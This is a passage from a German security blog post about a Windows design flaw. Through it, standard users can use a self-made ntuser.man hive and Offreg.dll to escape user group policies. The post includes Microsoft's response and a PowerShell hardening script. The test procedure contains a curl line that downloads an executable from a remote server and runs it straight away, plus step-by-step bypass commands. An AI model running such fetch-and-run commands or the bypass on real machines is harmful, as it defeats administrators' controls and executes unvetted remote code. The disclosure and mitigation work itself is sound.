{"id":312151,"date":"2025-06-02T00:04:37","date_gmt":"2025-06-01T22:04:37","guid":{"rendered":"https:\/\/www.borncity.com\/blog\/?p=312151"},"modified":"2025-07-08T17:46:19","modified_gmt":"2025-07-08T15:46:19","slug":"windows-schwachstelle-ermoeglicht-user-group-policies-auszuhebeln","status":"publish","type":"post","link":"https:\/\/borncity.com\/blog\/2025\/06\/02\/windows-schwachstelle-ermoeglicht-user-group-policies-auszuhebeln\/","title":{"rendered":"Windows-Design-Fehler erm\u00f6glicht User Group Policies auszuhebeln"},"content":{"rendered":"

\"Windows\"[English<\/a>]Eine etwas eigenwillige Design-Entscheidung der Windows-Entwickler erm\u00f6glicht es, Angreifern Gruppenrichtlinien f\u00fcr Nutzer (user group policies) lokal auszuhebeln. Es reichen normale Benutzerrechte und eine Datei, die in Windows mitgeliefert wird. Microsoft hat nicht vor, dieses Problem zu l\u00f6sen. Das ist das Fazit aus einer Diskussion zwischen Sicherheitsforscher Stefan Kanthak und dem Team vom Microsoft Security Response Center (MSRC). Ich war als Tester teilweise involviert und bereite es nachfolgend mal auf.<\/p>\n

<\/p>\n

User Group Policies und Mandatory User-Profiles<\/h2>\n

\"\"Kleiner Ausflug in Gefilde, die zeigen, wie problematisch Design-Entscheidungen Microsofts in seinen Produkten sind. Stefan Kanthak hat mich k\u00fcrzlich auf ein Problem in Windows hingewiesen, wo Zugriffsberechtigungen auf Nutzerprofil-Dateien und Registrierungseintr\u00e4ge f\u00fcr Gruppenrichtlinien unterschiedlich gehandhabt werden. Erm\u00f6glicht es Angreifern mit Standard-Benutzerrechten ggf. die kompletten Gruppenrichtlinien des Nutzers au\u00dfer Kraft zu setzen. Hier erst einmal die Grundlagen, die hinter diesem Problem stecken.<\/p>\n

Gruppenrichtlinien und Berechtigungen<\/h3>\n

In Windows werden die Werte von Gruppenrichtlinien (user group policies) in der Registrierung abgelegt werden. Der Zugriff auf diese Registry-Eintr\u00e4ge ist per Discretionary Access Control List (DACL<\/em>) gesch\u00fctzt. Nur Mitglieder der Gruppe Administratoren und der Gruppe SYSTEM besitzen die entsprechenden Berechtigungen, um die per DACL gesch\u00fctzten Registry-Keys der User Group Policies in den Registry-Zweigen:<\/p>\n

[HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies]\r\n[HKEY_CURRENT_USER\\Software\\Policies]<\/pre>\n
schreibend anpassen oder l\u00f6schen zu k\u00f6nnen. Das ist aus Sicherheitsaspekten auch zwingend erforderlich.<\/p>\n
Benutzerprofile und Berechtigungen<\/h3>\n
Weiterhin gibt es f\u00fcr jeden Nutzer eines Windows-Systems ein sogenanntes Benutzerprofil, also ein Ordner, in dem alle Dateien liegen. Der Nutzer hat auf diese (seine eigenen) Dateien alle Zugriffsrechte, die sein Konto besitzt. Ist irgendwie auch logisch.<\/p>\n
Bei der Anmeldung eines Nutzers wird der Registry Hive aus %USERPROFILE%\\ntuser.dat<\/em> geladen. Diese Datei wird dann exklusive vom Betriebssystem mit (Read, Write und Delete\/Rename-Zugriffsrechten) ge\u00f6ffnet. Dies verhindert Modifikationen oder ein L\u00f6schen der Datei durch den angemeldeten Benutzer.<\/p>\n
Die Rolle der Mandatory User Profiles<\/h3>\n
Der MSDN-Artikel \"About User Profiles<\/a>\" erw\u00e4hnt auch sogenannte \"Mandatory User Profiles<\/a>\" (obligatorische Benutzerprofile). Der Registry Hive dieser Benutzerprofile werden unter\u00a0%USERPROFILE%\\ntuser.man\u00a0<\/em>gespeichert. Dieses\u00a0obligatorische Benutzerprofil ist ein spezieller Typ eines vorkonfigurierten Roaming-Benutzerprofils.<\/p>\n
Administratoren k\u00f6nnen dieses Profil bzw. die Datei verwenden, um Einstellungen f\u00fcr Benutzer festzulegen. Mit obligatorischen Benutzerprofilen l\u00e4sst sich der Desktop eines Benutzers \u00e4ndern. Aber die \u00c4nderungen werden nicht gespeichert, wenn der Benutzer sich abmeldet. Wenn sich der Benutzer das n\u00e4chste Mal anmeldet, wird das vom Administrator erstellte obligatorische Benutzerprofil heruntergeladen. Es gibt zwei Arten von obligatorischen Profilen: normale obligatorische Profile und super-mandatorische Profile.<\/p>\n
Benutzerprofile werden zu obligatorischen Profilen, wenn der Administrator die Datei NTuser.dat (die Registrierungsstruktur) auf dem Server in NTuser.man<\/em> umbenennt. Die Erweiterung .man<\/em> bewirkt, dass das Benutzerprofil ein schreibgesch\u00fctztes Profil ist, schreibt Microsoft. Soweit zur Theorie.<\/p>\n
Stefan Kanthak weist nun darauf hin, dass obligatorische Benutzerprofile aber nicht nur eine Sonderform von \"Roaming User Profiles\" sind. Local User Profiles<\/a> unterst\u00fctzen auch
\neinen Registry-Hive in\u00a0%USERPROFILE%\\ntuser.man<\/em>,\u00a0wobei diese Datei Vorrang hat vor der Datei\u00a0%USERPROFILE%\\ntuser.dat.\u00a0<\/em>Diese Datei ntuser.man<\/em> ist andererseits mit den Rechten eines Standard-Benutzers im Benutzerprofil anlegbar und kann auch beschrieben werden.<\/p>\n
Eine LOtL-Datei in Windows<\/h2>\n
Malware kann legtime Dateien des Betriebssystems verwenden, um sogenannte Living Off The Land (LOTL) durchzuf\u00fchren. CrowdStrike hat das beispielsweise in diesem Beitrag<\/a> aufbereitet.<\/p>\n
Nun weist Kanthak darauf hin, dass\u00a0Microsoft die (redistributable) \"Offline Registry Library<\/a>\" Offreg.dll<\/em>\u00a0urspr\u00fcnglich mit dem Driver Development Kit f\u00fcr Windows 7 entwickelt hat, diese aber seit Jahren mit Windows mitliefert. Diese Bibliothek l\u00e4sst sich verwenden, um eine Registrierungsstruktur au\u00dferhalb der aktiven Systemregistrierung zu \u00e4ndern.<\/p>\n
Stefan Kanthak schreibt nun, dass ein nicht privilegierter Standard-Nutzer dank der Datei Offreg.dll <\/em>den Registry-Zweig\u00a0[HKEY_CURRENT_USER]\u00a0<\/em>(nat\u00fcrlich mit Ausnahme der Registrierungsschl\u00fcssel, in denen die Richtlinien gespeichert sind) in eine Offline-Registrierungsstruktur ntuser.man<\/em> kopieren kann. Damit kann er (oder Malware, die unter diesem Konto l\u00e4uft) alle zuvor \u00fcber Benutzergruppenrichtlinien auferlegten Beschr\u00e4nkungen nach dem Ab- und Wiederanmelden los werden.<\/p>\n
Eine Demonstration zum Testen<\/h2>\n
Stefan Kanthak hatte mich in der ersten Mai 2025-H\u00e4lfte dann gebeten, bestimmte Testschritte auf meinem Windows 10 (IoT) auszuf\u00fchren und die Ergebnisse zu berichten.<\/p>\n
Meine Empfehlung ist, dass nur erfahrene Nutzer diesen Test – vorzugsweise in einer virtuellen Maschine ausf\u00fchren. Unter meinem Windows 10 IoT konnte ich mich beim Test nach einem Neustart nicht mehr am Benutzerkonto anmelden – da ein Fehler beim Verbinden mit einem (Gruppenrichtlinien) Dienst gemeldet wurde. Lie\u00df sich unter einem Administrator-Konto durch L\u00f6schen der Manipulation beheben.<\/p><\/blockquote>\n
Der Test umfasst mehrere Schritte, bei denen zuerst sichergestellt wird, dass der Nutzer auch keine Schreibberechtigungen auf Policy-Registry-Werte besitzt. Zudem wird der Inhalt eines Registry-Zweigs kopiert. Dann werden Richtlinien gesetzt, um zu testen, ob diese wirken. Nach einer simplen Datei-Copy-Aktion ist ein Neustart von Windows erforderlich. Danach sollten die gerade gesetzten Richtlinien nicht mehr wirken.<\/p>\n
Schritt 1: Pr\u00fcfen und Registry auslesen<\/h3>\n
Um die Problematik\u00a0(in Windows 2000 und neueren Versionen)\u00a0nachzuvollziehen, sollte man im ersten Schritt als nicht privilegierter Nutzer eine Eingabeaufforderung starten\u00a0 und folgende Anweisungen ausf\u00fchren:<\/p>\n
WHOAMI.exe \/USER\r\nREG.exe ADD HKEY_CURRENT_USER\\Software\\Policies \/VE\r\nREG.exe ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies \/VE\r\nCHDIR \/D \"%USERPROFILE%\"\r\nCURL.exe -q -O -R https:\/\/skanthak.hier-im-netz.de\/temp\/GPOFFREG.COM\r\n.\\GPOFFREG.com<\/pre>\n
Die erste Anweisung zeigt nur\u00a0die SID des Benutzers an. Die Reg-Befehle sollen pr\u00fcfen, dass dieser Benutzer nicht in Registry-Zweige wie Policies<\/em> schreiben kann. Der Befehl zum Aufruf der Datei REG.exe sollte \"ERROR: access denied\" ausgeben.<\/p>\n
Mit dem letzten curl.exe-Befehl wird dann ein kleines CLI-Programm von Kanthak herunterladen und ausgef\u00fchrt. Diesen Schritt hatte ich noch manuell ausgef\u00fchrt, indem ich die gpoffreg.com<\/em> vom Webserver des Sicherheitsforschers aufgerufen und ausgef\u00fchrt habe. Das kleine Programm liest den Registrierungszweig [HKEY_CURRENT_USER] – mit Ausnahme der Registrierungsschl\u00fcssel mit dem Namen Policies –<\/em> und schreibt das Ganze in eine Offline-Registrierungsstruktur ntuser.man<\/em> im aktuellen (Arbeits-) Verzeichnis kopiert.<\/p>\n
Schritt 2: Policy als Administrator setzen<\/h3>\n
Nun ist es an der Zeit, bestimmte Gruppenrichtlinien per Registry zu setzen, um die n\u00e4chsten Schritte testen zu k\u00f6nnen. Dazu ist das Fenster der Eingabeaufforderung mit administrativen Berechtigungen zu \u00f6ffnen (Als Administrator ausf\u00fchren). Dann sollten sich die nachfolgenden Befehle zum Anlegen der Gruppenrichtlinien-Eintr\u00e4ge fehlerfrei ausf\u00fchren lassen:<\/p>\n
REG.exe ADD HKEY_USERS\\%SID%\\Software\\Policies\\Microsoft\\Windows\\System \/V DisableCMD \/T REG_DWORD \/D 1\r\nREG.exe ADD HKEY_USERS\\%SID%\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System \/V DisableRegistryTools \/T REG_DWORD \/D 1<\/pre>\n
Die angegebene SID ist der Wert f\u00fcr das Benutzerkonto, welches in Schritt 1 abgerufen wurde.<\/p>\n
Im n\u00e4chsten Schritt sollte man pr\u00fcfen, ob die Policy-Eintr\u00e4ge in der Registrierung vorhanden sind und ob sie wirken. Ich hatte das alles h\u00e4ndisch f\u00fcr Stefan Kanthak getestet und per Richtlinien-Eintr\u00e4ge Eingabeaufforderung, Registry-Tool und Task-Manager blockiert. Ein Test zeigte danach, dass die genannten Funktionen vom Standard-Benutzerkonto nicht mehr aufrufbar, sondern vom Administrator gesperrt waren – es kam \"Disabled by your administrator\" bzw. \"Die Eingabeaufforderung ist vom Administrator deaktiviert worden\". Also alles wie erwartet.<\/p>\n
Man kann auch folgende, von Kanthak vorgeschlagenen Befehle in einer mit Standard-Nutzerberechtigungen ge\u00f6ffneten Eingabeaufforderung ausf\u00fchren:<\/p>\n
CMD.exe\r\nREG.exe QUERY HKEY_CURRENT_USER\\Software\\Policies \/S\r\nREG.exe QUERY HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies \/S<\/pre>\n
Es sollten die obigen Meldungen bzgl. der Administratorsperre kommen. Bei meinem Test musste ich dann noch die oben mit GPOFFREG.com<\/em> erzeugte\u00a0ntuser.man<\/em> h\u00e4ndisch in meinen Benutzerprofilordner kopieren. Dieser Schritt ist mit den obigen, von Stefan Kanthak formulierten, Anweisungen nicht mehr erforderlich. Die ntuser.man<\/em> wird im Nutzerprofil-Ordner abgelegt.<\/p>\n
Schritt 3: Abmelden, anmelden und testen<\/h3>\n
Nun muss sich der nicht privilegierte Standard-Nutzer vom Konto ab- und danach erneut anmelden (ich hatte seinerzeit sogar einen Neustart ausgef\u00fchrt). Der Schritt dient dazu, dass\u00a0ProfileSvc<\/em> die weiter oben in Schritt 1 erzeugte Datei ntuser.man<\/em> anstelle der eigentlich zu verwendenden ntuser.dat <\/em>l\u00e4dt. Die obigen Schritte wurden (bis auf die Registry-Eintr\u00e4ge) ja mit Standard-Benutzerrechten ausgef\u00fchrt.<\/p>\n
Nun sollte die Eingabeaufforderung erneut mit Standard-Benutzerrechten ge\u00f6ffnet und auch der Registrierungseditor versuchsweise aufgerufen werden. Die vorher per Policy definierte Beschr\u00e4nkung d\u00fcrfte weg sein. Kanthak schrieb dazu noch, dass man im Fenster der Eingabeaufforderung folgende Befehle ausf\u00fchren solle:<\/p>\n
REG.exe QUERY HKEY_CURRENT_USER\\Software\\Policies \/S\r\nREG.exe QUERY HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies \/S\r\nREG.exe ADD HKEY_CURRENT_USER\\Software\\Policies \/VE\r\nREG.exe ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies \/VE<\/pre>\n
Die Befehle, ausgef\u00fchrt mit Standard-Berechtigungen verifizieren, dass die Eintr\u00e4ge im Policies-Zweig<\/em> nun leer sind und sich zudem als\u00a0unprivilegierter Nutzer schreiben lassen (wurde durch das Testprogramm von Kanthak so definiert).<\/p>\n
Das Fazit: Jeder Standard-Benutzer mit eingeschr\u00e4nkten Rechten kann die Gruppenrichtlinien, die ein Administrator ihm vorgibt, mit wenigen Handgriffen aushebeln.<\/p>\n
Microsoft will nichts machen<\/h2>\n
Stefan Kanthak hat dann das Microsoft Security Response Center (MSRC) \u00fcber seine Ergebnisse informiert. Es wurde auch ein sogenannter Case er\u00f6ffnet (MSRC Case 98092 CRM:0022093246). Wie so h\u00e4ufig, hat es dann \"etwas geknallt\" – denn die Microsoft-Verantwortlichen haben in einer Antwort \"kein Problem\" gesehen, was man beheben m\u00fcsste. Hier der O-Ton von Microsoft:<\/p>\n
You reported that a user can bypass policies set within the\u00a0 HKCU registry hive.<\/p>\n
However, the ability of a user to write to the HKCU hive does not constitute a violation of a security boundary, as the entire hive is owned by the local user, allowing them to write to it without restriction.<\/p><\/blockquote>\n
Der Hinweis, dass ein Benutzer Richtlinien umgehen kann, die innerhalb des HKCU-Registrierungs-Hives festgelegt wurden, sei kein Problem.\u00a0Die F\u00e4higkeit eines Benutzers, in den HKCU-Hive zu schreiben, stellt laut Microsoft jedoch keine Verletzung einer Sicherheitsgrenze dar, da der gesamte Hive Eigentum des lokalen Benutzers ist, so dass dieser uneingeschr\u00e4nkt in ihn schreiben kann.<\/p>\n
Kein Wort zum obigen Szenario und dem Effekt, dass ein Administrator eine Gruppenrichtlinie setzt und deren Einhaltung letztendlich auch erzwingen k\u00f6nnen muss, der Nutzer (oder Malware) das jederzeit aushebeln kann.<\/p>\n
Empfohlene Gegenma\u00dfnahmen<\/h2>\n
Stefan Kanthak hat dann an Microsoft noch den Vorschlag unterbreitet, \u00fcber einige Gegenma\u00dfnahmen nachzudenken, um das Szenario zu entsch\u00e4rfen. Ich kopiere mal seine Vorschl\u00e4ge in Englisch hier in den Beitrag:<\/p>\n
a) Add an NTFS ACE which denies the user the permissions to create files
\nin or write the DACL of the directory \"%USERPROFILE%\" (which is owned
\nby the SYSTEM account, but grants the user full access):<\/p>\n
CHDIR \/D \"%USERPROFILE%\"\r\nCACLS.exe . \/S\r\nSET \/P DACL=Copy the output and insert (D;NP;DCWD;;;S-1-5-21-*-*-*-*) in front of the first opening parenthesis\r\nCACLS.exe . \/S:%DACL%<\/pre>\n
b) Add an NTFS ACE which denies the user the permission to write the DACL
\nof or add extended attributes to the file \"%USERPROFILE%\\ntuser.dat\":<\/p>\n
CACLS.exe ntuser.dat \/S\r\nSET \/P DACL=Copy the output and insert (A;;0x1201EF;;;OW) in front of the first opening parenthesis CACLS.exe ntuser.dat \/S:%DACL%<\/pre>\n
Ohne die zweite Gegenma\u00dfnahme kann der Benutzer, laut Kanthak, einem Komplizen
\nder ein Benutzerkonto auf dem Rechner hat, Schreibzugriff auf ntuser.dat<\/em> gew\u00e4hren oder
\neinen Reparse-Punkt hinzuf\u00fcgen.<\/p>\n
Nebenbei war neben meiner Wenigkeit auch Mark Heitbrink \u00fcber das Thema informiert. Mark hat das Thema in eine englischsprachige Gruppe von MVPs eingestellt und die R\u00fcckmeldung \"kein Privilege Escalation, kein Problem\" erhalten, wobei aber die Anmerkung kam, dass es die \"mandatory profiles\" sehr lange gebe, und bisher nie jemand das probiert habe. Stefan Kanthak hat das Ganze zum 31. Mai 2025 bei fulldisclosure[@] seclists.org eingereicht – beim Schreiben war das Ganze kann seit dem 3. Juni 2025 online abgerufen werden<\/a>.<\/p>\n
Script zum Setzen der Berechtigungen<\/h2>\n
Weiter unten in den Kommentaren merkt Leser AUTChrisSAUT an<\/a>, dass er ein Script erstellt habe, um die Berechtigungen zu setzen. Ich stelle es mal als \"As-is\" zur Verf\u00fcgung.<\/p>\n
################################################################################################################\r\n#  Script:        Set-UserprofilePermissions.ps1\r\n#  Created on:    2025\/07\/03\r\n#  Description:   Setzt die Berechtigungen f\u00fcr das Userprofile und ntuser.dat neu damit der \"Windows-Design-Fehler\" nicht ausgenutzt werden kann (ntuser.man).\r\n#                 Quelle: https:\/\/borncity.com\/blog\/2025\/06\/02\/windows-schwachstelle-ermoeglicht-user-group-policies-auszuhebeln\/\r\n################################################################################################################\r\n#  History:       \u00c4nderer   Datum        Nummer   Bearbeitung\r\n#                 CHSC      04.11.2023   #01#     Script erstellung\r\n################################################################################################################\r\n\r\n################################################\r\n#Userprofile und NTUSER.DAT Berechtigungen setzten\r\n################################################\r\n#Alle NTUSER.DAT ermitteln ausgenommen des Defaults\r\n$oNTUSERFiles = Get-ChildItem -Path C:\\Users -Recurse -Filter ntuser.dat -Force | Where-Object {($_.FullName -notlike \"C:\\Users\\Default\\*\") -and ($_.FullName -notlike \"C:\\Users\\Public\\*\")}\r\n\r\n#Ermittelte elemente verarbeiten\r\nforeach ($oNTUSERFile in $oNTUSERFiles)\r\n{\r\n    ################################################\r\n    #Berechtigungen f\u00fcr das Userprofile (Root) setzten\r\n    ################################################\r\n    #Variable zur\u00fccksetzten damit die Berechtigungen nicht vom anderen Verzeichnis genommen werden\r\n    $sFolderACL_Current = $null\r\n    $sFolderACL_CurrentSDDL = $null\r\n    $sFolderACL_NewSDDL = $null\r\n    #Berechtigungen ermitteln\r\n    $sFolderACL_Current = Get-Acl -Path $oNTUSERFile.DirectoryName\r\n    $sFolderACL_CurrentSDDL = $sFolderACL_Current.SDDL\r\n    $sFolderACL_NewSDDL = $sFolderACL_CurrentSDDL\r\n    #Pr\u00fcfen ob Berechtigungen erhalten wurden\r\n    if ($sFolderACL_Current)\r\n    {\r\n        #SIDs zur\u00fccksetzten un aus der SSDL ermitteln\r\n        $arFolderSIDs = $null\r\n        $arFolderSIDs = $sFolderACL_Current.Sddl.Split(\";\").split(\")\") | Where-Object {$_ -like \"S-1-5-21-*\"}\r\n        \r\n        #SIDs der SDDL hinzuf\u00fcgen\r\n        foreach ($sFolderSID in $arFolderSIDs)\r\n        {\r\n            #insert (D;NP;DCWD;;;S-1-5-21-*-*-*-*) in front of the first opening parenthesis\r\n            $sFolderACL_NewSDDL = $sFolderACL_NewSDDL.Replace(\"$($sFolderACL_NewSDDL.Split('(')[0]))\", \"$($sFolderACL_NewSDDL.Split('(')[0]))(D;NP;DCWD;;;$($sFolderSID))\")\r\n        }\r\n\r\n        #Berechtigungen setzten\r\n        $sFolderACL_Current.SetSecurityDescriptorSddlForm($sFolderACL_NewSDDL)\r\n\r\n        #ACL setzen\r\n        Set-Acl -Path $oNTUSERFile.DirectoryName -AclObject $sFolderACL_Current\r\n    }\r\n\r\n    ################################################\r\n    #Berechtigungen f\u00fcr das ntuser.dat setzten\r\n    ################################################\r\n    #Variable zur\u00fccksetzten damit die Berechtigungen nicht vom anderen Verzeichnis genommen werden\r\n    $sFileACL_Current = $null\r\n    $sFileACL_CurrentSDDL = $null\r\n    $sFileACL_NewSDDL = $null\r\n    #Berechtigungen ermitteln\r\n    $sFileACL_Current = Get-Acl -Path $oNTUSERFile.FullName\r\n    $sFileACL_CurrentSDDL = $sFileACL_Current.SDDL\r\n    $sFileACL_NewSDDL = $sFileACL_CurrentSDDL\r\n    #Pr\u00fcfen ob Berechtigungen erhalten wurden\r\n    if ($sFileACL_Current)\r\n    {\r\n        #SIDs zur\u00fccksetzten un aus der SSDL ermitteln\r\n        $arFileSIDs = $null\r\n        $arFileSIDs = $sFileACL_Current.Sddl.Split(\";\").split(\")\") | Where-Object {$_ -like \"S-1-5-21-*\"}\r\n        \r\n        #insert (A;;0x1201EF;;;OW) in front of the first opening parenthesis\r\n        #Anmerkung 1von2: Da die Berechtigungen vererbt werden wird der Owner mit Denyrechten versehen damit er diese nicht Berechtigen \/ \u00dcbernehmen kann\r\n        $sFileACL_NewSDDL = $sFileACL_NewSDDL.Replace(\"$($sFileACL_NewSDDL.Split('(')[0]))\", \"$($sFileACL_NewSDDL.Split('(')[0]))(D;;WDWO;;;OW)\")\r\n\r\n        #SIDs der SDDL hinzuf\u00fcgen\r\n        foreach ($sFileSID in $arFileSIDs)\r\n        {\r\n            #insert (A;;0x1201EF;;;OW) in front of the first opening parenthesis\r\n            #Anmerkung 2von2: Da die Berechtigungen vererbt werden werden alle bereits berechtigten SIDs gesperrt das dise nicht weiter teilen k\u00f6nnen\r\n            $sFileACL_NewSDDL = $sFileACL_NewSDDL.Replace(\"$($sFileACL_NewSDDL.Split('(')[0]))\", \"$($sFileACL_NewSDDL.Split('(')[0]))(D;;WDWO;;;$($sFileSID))\")\r\n        }\r\n\r\n        #Berechtigungen setzten\r\n        $sFileACL_Current.SetSecurityDescriptorSddlForm($sFileACL_NewSDDL)\r\n\r\n        #ACL setzen\r\n        Set-Acl -Path $oNTUSERFile.FullName -AclObject $sFileACL_Current\r\n    }\r\n}<\/pre>\n
Zudem schreibt der Leser, dass ihm noch ein Fehler aufgefallen sein, wenn die Berechtigungen (oben unter b) gesetzt werden. Der Fehler betrifft den 2ten Teil \"insert (A;;0x1201EF;;;OW) in front of the first opening parenthesis\".<\/p>\n
Hier werden Owner-Rechte vergeben mit einem erlaubten Zugriff. Da jedoch nicht die Vererbung deaktiviert wird, bringt diese Berechtigung ohne Berechtigungen \u00e4ndern<\/em>, Besitzer \u00fcbernehmen<\/em> leider gar nichts.\u00a0Daher hat er in seinem Script auch eine Anmerkung erstellt, das die Berechtigungen verweigern gesetzt werden, anstatt – wie beim Userprofile – zu genehmigen.<\/p>\n
Zudem schreibt der Leser, dass in seinem Umfeld sicherheitshalber alle Varianten zur Verhinderung des Aushebelns der User-Policies angewandt werden:<\/p>\n